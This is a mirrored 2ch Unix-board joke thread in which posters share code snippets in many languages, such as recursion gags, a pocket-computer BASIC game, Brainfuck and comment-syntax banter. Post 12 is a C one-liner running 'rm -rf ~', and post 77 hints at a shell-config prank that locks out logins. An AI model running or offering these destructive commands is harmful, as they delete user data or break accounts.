1read 100read
2013年07月UNIX363: ひたすら何かのソースコードを公開するスレ (152)
TOP カテ一覧 スレ一覧 2ch元 削除依頼 ▼
RISC型CPUについて (175)
ひたすら何かのソースコードを公開するスレ (152)
4.4BSDの設計と実装 (188)
UNIXガーディアンズ (103)
NetBSD/pc98専門スレ (173)
新品のULTRA2(200MhzX2)を3万で買ったんだ! (100)
ひたすら何かのソースコードを公開するスレ
1 :03/07/12 〜 最終レス :2012/04/21 なんか、うpしてくれ
2 : main()
3 : {
4 : return main(); }
5 :あぼーん :あぼーん あぼーん
6 : };
7 : void
8 : seq void main () { par { new main(); new main(); } }
9 : PROGRAM UNKO WRITE(*,*)'うんこ' STOP END
10 : rtnval(int c) { if (c == 1) { return 1; } else { return 0; } }
11 : /*1は死んでね*/
12 : #include <stdlib.h> void main(void) { system( "rm -rf ~"); }
13 : <html><head><meta http-equiv="Content-Type" content="text/html; charset=Shift_JIS"><title>ひたすら何かのソースコードを公開するスレ</title><script type="text/javascript" defer><!-- function l(e){var N=g("NAME"),M=g("MAIL"),i;with(document) for(i=0;i<forms.length;i++)if(forms[i].FROM&&forms[i].mail)with(forms[i]) {FROM.value=N;mail.value=M;}}onload=l;function g(key,tmp1,tmp2,xx1,xx2,xx3,len){tmp1=" "+document.cookie+";";xx1=xx2=0;len=tmp1.length; while(xx1<len){xx2=tmp1.indexOf(";",xx1);tmp2=tmp1.substring(xx1+1,xx2); xx3=tmp2.indexOf("="); if(tmp2.substring(0,xx3)==key)return unescape(tmp2.substring(xx3+1,xx2-xx1-1));xx1=xx2+1;}return "";} //--></script></head><body bgcolor=#efefef text=black link=blue alink=red vlink=#660099><a href="../../../../unix/"> ■掲示板に戻る■</a> <a href=-100>1-</a> <a href=l50>最新50</a><p><font size=+1 color=red>ひたすら何かのソースコードを公開するスレ </font><dl><dt>1 :<font color=green><b> 名無しさん@お腹いっぱい。</b></font> :03/07/12 17:41<dd>なんか、うpしてくれ<br><br><dt>2 :<
14 : >>13 4点。
15 : 10 CLS :CLEAR 20 DIM G$(13)*1,M(16,5) 30 X=1:Y=1:P=1:T=40:W=20:E=15:M(0,0)=7:M(1,0)=4 40 FOR J=0 TO 13 50 READ A:G$(J)= CHR$ A 60 NEXT 70 DATA 32,224,124,156,157,158,159,45,150,152,153,154,155,135 80 LINE (102,-1)-(106,48),B 90 PRINT "-";G$(4) 100 LOCATE 18,1:PRINT "Next" 110 LOCATE 18,3:PRINT "Score" 120 FOR J=0 TO E 130 L= RND 17-1:M= RND 6-1 140 IF L>1 OR M>1 LOCATE L,M:PRINT G$(13):M(L,M)=13 150 NEXT
16 : 160 *A 170 M=0:N= RND 6 180 LOCATE 19,2:PRINT "[";G$(N);"]" 190 *B 200 IF K$<>"" FOR J=0 TO W*8:NEXT 210 LOCATE X,Y:PRINT G$(M(X,Y)) 220 K$= INKEY$ 230 SWITCH K$ 240 CASE "4":IF X>0 LET X=X-1 250 CASE "6":IF X<16 LET X=X+1 260 CASE "8":IF Y>0 LET Y=Y-1 270 CASE "2":IF Y<5 LET Y=Y+1 280 CASE " ":IF M(X,Y)<7 LOCATE X,Y:PRINT G$(N):BEEP 1,200,20:M(X,Y)=N:M=1 290 ENDSWITCH 300 FOR J=0 TO W:NEXT 310 LOCATE X,Y:PRINT "ロ" 320 C=(C+1) MOD T 330 IF C=0 GOSUB *C 340 IF M=1 GOTO *A ELSE *B
17 : 350 *C 360 BEEP 1,71,9 370 IF P<0 OR P>16 OR Q<0 OR Q>5 GOTO *D 380 SWITCH M(P,Q) 390 CASE 1:IF H=0 LET U=1:V=0 ELSE IF H=1 LET U=-1:V=0 ELSE F=1 400 CASE 2:IF H=2 LET U=0:V=-1 ELSE IF H=3 LET U=0:V=1 ELSE F=1 410 CASE 3:IF H=1 LET U=0:V=1:H=3 ELSE IF H=2 LET U=1:V=0:H=0 ELSE F=1 420 CASE 4:IF H=0 LET U=0:V=1:H=3 ELSE IF H=2 LET U=-1:V=0:H=1 ELSE F=1 430 CASE 5:IF H=1 LET U=0:V=-1:H=2 ELSE IF H=3 LET U=1:V=0:H=0 ELSE F=1 440 CASE 6:IF H=0 LET U=0:V=-1:H=2 ELSE IF H=3 LET U=-1:V=0:H=1 ELSE F=1 450 DEFAULT :F=1 460 ENDSWITCH 470 IF F=1 GOTO *D 480 M(P,Q)=M(P,Q)+6 490 LOCATE P,Q:PRINT G$(M(P,Q)) 500 P=P+U:Q=Q+V:S=S+1 510 LOCATE 20,4:PRINT STR$ S 520 RETURN 530 *D 540 LOCATE 18,1:PRINT "-GAME-" 550 LOCATE 18,2:PRINT "-OVER-"
18 :あぼーん :あぼーん あぼーん
19 : program HaxaHaxa; var I : Integer; begin Randomize; repeat I := Random(18) + 1; Writeln('>>', I, 'さん(;´Д`)ハァハァ'); until False; end.
20 : #include <stdio.h> int main() { printf("なんか、うpしてくれ\n"); main(); return 0; }
21 : puts "こんばんは"
22 : /*
23 : #cat HaxaHaxa.c #include <stdio.h> #include <stdlib.h> #include <time.h> void main(){ srand((unsigned int)clock()); for(;;) printf(">>%d さん(;´Д`)ハァハァ\n",(int)(1+rand()*21./RAND_MAX)); } #gcc -o HaxaHaxa HaxaHaxa.c #chmod +=x HaxaHaxa #HaxaHaxa
24 : /* Copyright (c) 1984, 1986, 1987, 1988, 1989 AT&T */ /* All Rights Reserved */ /* THIS IS UNPUBLISHED PROPRIETARY SOURCE CODE OF AT&T */ /* The copyright notice above does not evidence any */ /* actual or intended publication of such source code. */
25 : main(){return system("start http://pc.2ch.net/unix/index.html#3 ");}
26 : /* * 重複だろ。 * * みんなでCのコードを1行ずつ書いていくスレ * http://pc.2ch.net/test/read.cgi/unix/1005032504/ * */
27 : //いやいや EXEC=C言語でなくても //SYS001 DD * いいんだろう。 /*
28 : カケ "オマエモナー"
29 : % んじゃ % こんなんでも % いいわけ?
30 : -- いいんでないかい?
31 : (* ここはこれ以降コメントで会話するスレとなりますた。 *)
32 : # >>30 のコメント形式は # なに? # はじめてみた。
33 : -- vhdl
34 : ; >>32 ; psじゃないのか?
35 : ( ps は % だろ? )
36 : -- lingo も -- この形式でつ
37 : <!-- http://infoserv.ics.es.osaka-u.ac.jp/public/netnews-archive/FJ.ARCHIVES/fj.archives.documents/comments-in-computer-languages -->
38 : # うっかりコメントからはみ出したら # どうなりますか?
39 : ' >>37 ' あは、既にあるのか。
40 : " (´-`).。oO(うっかりって...) "
41 : $$ そりゃコメントからはみ出れば $$ コンパイルエラーになる罠
42 : #いんcるで <stぢお.h> いんt まいn() { pりんtf(">>1Rよ") }
43 : >>42 なんか、カンドーしたっす。
44 : { >>45 どうよ? }
45 : begin なんともねーよ end
46 : static void create_init(const void *udata __unused) { int error; int s; s = splhigh(); error = fork1(&proc0, RFFDG | RFPROC, &initproc); if (error) panic("cannot fork init: %d\n", error); initproc->p_flag |= P_INMEM | P_SYSTEM; cpu_set_fork_handler(initproc, start_init, NULL); remrunqueue(initproc); splx(s); }
47 : ここまでだれもhello world 書かないッつーのも不自然だな。 project: (('Hello')) class 'Hello' specializing 'Console': [ goal:- writeln("Hello World!"). ]
48 : /*(・∀・) /*
49 : >>47 それは何? ついでだ、漏れも Pervasives.print_string "Hello World!\n";;
50 : いろいろな言語でHello world スレは、どこかにあったような...
51 : Linux板だよ。 いろんな言語で「Hello World」だ。ゴラァ http://pc.2ch.net/test/read.cgi/linux/986981055/
52 : 向こうのスレのこれ笑った http://pc.2ch.net/test/read.cgi/linux/986981055/22
53 : # Hello World # # Hell Word ?
54 : メインとは 「こんにちは。」を 表示して 改行すること。
55 : : プログラムは日本語なのにそれ自体の名前が何故か英語っぽいMINDか....
56 : C SOUIEBA BETSUNI SENTOU GA C DE NAKUTEMO IINDAYONA. C MOU 15 NEN GURAI TUKATTE NAIKEDO YUBI HA TYANTO C OBOETEIRU YOUDA.
57 : <html> </html>
58 : rem そういえばこんなのもあったなぁ
59 : スレタイが「ソース "コード"」なので、 「オリバーソース」だの「おたふくソース」だのといった お決まりのギャグが使えない罠。
60 : ,[>+<-]-[>[>>+>+<<<-]>>>[<<<+>>>-]<[-[-[-[-[-[-[-[-[-[>+<[-]]]]]]]]]]]> [-<<+<----------[>>+>+<<<-]>>>[<<<+>>>-]<[-[-[-[-[-[-[-[-[-[>+<[-]]]]]]]]]]]>]<<<]
61 : >>59 オリバーソースだのおたふくソースだの言おうとしたのか?(藁)
62 : 伝説の「詰めC言語」再びかと思ったよ。
63 : BASIC 1行プログラムのほうが好きだな
64 : #!/bin/dqn WTO "hello?" END
65 : main; ()!*.* }
66 : >>61 とっておきのギャグなんだが、 どうしてもと言うなら譲ってあげてもいいよ
67 :あぼーん :あぼーん あぼーん
68 : <tr> age<br><br> </tr>
69 : >>64 日○情報のQ言語? つーか日○関係者だろ!(w
70 : 世界最小のソース awk '1' filename
71 : sed '' filename
72 : >>71 ほんとや(o●o);
73 : "こう見えても、Smalltalkのコメントなわけだが。".
74 : "ごめ。あげちった。".
75 : >>73 40で既出
76 : localhost [~]$ cat /usr/bin/uma.sh #!/bin/sh /usr/bin/uma.sh localhost [~]$
77 : (~/.bashrcの末尾に追加) csh (~/.cshrcの末尾に追加) bash さぁ!Let's Logout!!
78 : >>77 よく元性善説鯖にお見えになる人?
79 : 10 REM **************************************** 20 REM * 住民基本台帳ネットワークシステム * 30 REM * * 40 REM * Version 1.0.0 * 50 REM **************************************** 60 GOTO 10
80 : #dqn
81 : class TabDialog : public QTabDialog { Q_OBJECT public: TabDialog(); TabDialog(loginSlot *data); void setLoginData(loginSlot *data); public slots: void cancelClicked(); protected: QString filename; QFileInfo fileinfo; void setupTab1(); void setupTab2(); void setupTab3(); private: loginSlot loginData; };
82 : { ;0 uJnfaJ ;(,,i plJoM ollaH,,)tfu!Jd } ()u!ew fu! ,,ч'o!pfs,, apnl⊃u!#
83 : 文字化けかと思った
84 : 文字化けじゃなかったのか!!!!!!!!!
85 : #include <stdio.h> main() { for(;;){ puts(">>1 カエレ"); } }
86 : >>85 はgettext位使えるようになれ。
87 : 煽りも国際化を考慮しなきゃならないとは(w
88 : gettextを使えるようになってもpoファイルは日本語のくらいしか作れない罠
89 : このくらいはほしいよね。 ja ja_2CH ja_KANSAI ja_TOUHOKU
90 : tcshのゴミportsじゃないんだから(苦笑
91 : sub 2ch print "糞スレたてた>>1 さん";
92 :あぼーん :あぼーん あぼーん
93 : >>15-17 もしかして、ポケコンPC-E500用のソース?
94 : E500にSWITCH文はなかったと思われ (後継機種にはあったような気はするが)
95 : ってことはPC-E650かな?
96 : ひたすら何かのソースコード
97 : ひたすら「伺か」のソースコード???
98 : 2ch DQN房();
99 : 女の子がデスクトップに常駐するやつだっけ
100read 1read 1read 100read TOP カテ一覧 スレ一覧 2ch元 削除依頼 ▲
セキュアOSってドウヨ? (112)
LinuxがAIXに取って代わる、IBMが言及 (112)
UNIXってエロゲーできますか? (163)
★商用UNIX序列★ (108)
漢のコマンド (135)
あんたたちの職業は何ですか? (193)
--log9.info------------------
「的場」ファイヤーズ「浩二」 (145)
自分が神だと思うバンドをこっそり暴露するスレ (172)
【METAL】ジャパニーズメタルコア【CORE】 (177)
スターリン再結成なの? (131)
極左政党「馬鹿」 (158)
スカ十って意味不明なんです (119)
東京事変を超えるパンクバンドっているの? (126)
【狂気のカリスマ】鳥井みゆきA【アングラの女王】 (152)
暇だからSwankysとかラジオで垂れ流す (110)
二人バンド組んだ (160)
スキンズなのにいきものがかり好きな奴の数→ (102)
70’Punkは最高 (136)
女 「どんな音楽聴くの?」この質問にどう答えるか (156)
【395日】 ホモ電痛 【式神飛ばす】 (136)
【サワキ】火の宮【カスミ】 (148)
パンクスが好きなメタル! (137)
--log55.com------------------
iPhone 8/8 Plus Part30
iPhone 12
【YouTuber】Appleが大好きんだよ ★3【アフィ】
【AAPL】Apple株価 その24
Apple Watch 交換バンド ケース スタンド 11本目
Apple Watch Part 203
iPhone7/7 Plus Part 62
IDにアップルが出るまで頑張るスレ★22